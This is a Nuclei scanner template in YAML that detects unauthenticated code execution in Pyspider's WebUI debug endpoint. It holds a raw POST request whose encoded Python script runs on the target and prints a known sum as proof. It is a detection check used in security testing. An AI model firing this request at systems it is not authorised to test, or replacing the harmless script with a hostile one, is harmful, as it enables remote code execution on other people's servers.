30 lines
987 B
YAML
30 lines
987 B
YAML
|
id: pyspider-unauthorized-access
|
||
|
|
||
|
info:
|
||
|
name: Pyspider Unauthorized Access
|
||
|
author: ritikchaddha
|
||
|
severity: high
|
||
|
reference: https://github.com/ianxtianxt/Pyspider-webui-poc
|
||
|
tags: pyspider,unauthorized,access
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /debug/pyspidervulntest/run HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
webdav_mode=false&script=from+pyspider.libs.base_handler+import+*%0Aclass+Handler(BaseHandler)%3A%0A++++def+on_start(self)%3A%0A++++++++print(str(123654789%20%2B%20123654789))&task=%7B%0A++%22process%22%3A+%7B%0A++++%22callback%22%3A+%22on_start%22%0A++%7D%2C%0A++%22project%22%3A+%22pyspidervulntest%22%2C%0A++%22taskid%22%3A+%22data%3A%2Con_start%22%2C%0A++%22url%22%3A+%22data%3A%2Con_start%22%0A%7D
|
||
|
|
||
|
redirects: true
|
||
|
max-redirects: 2
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
words:
|
||
|
- "247309578"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|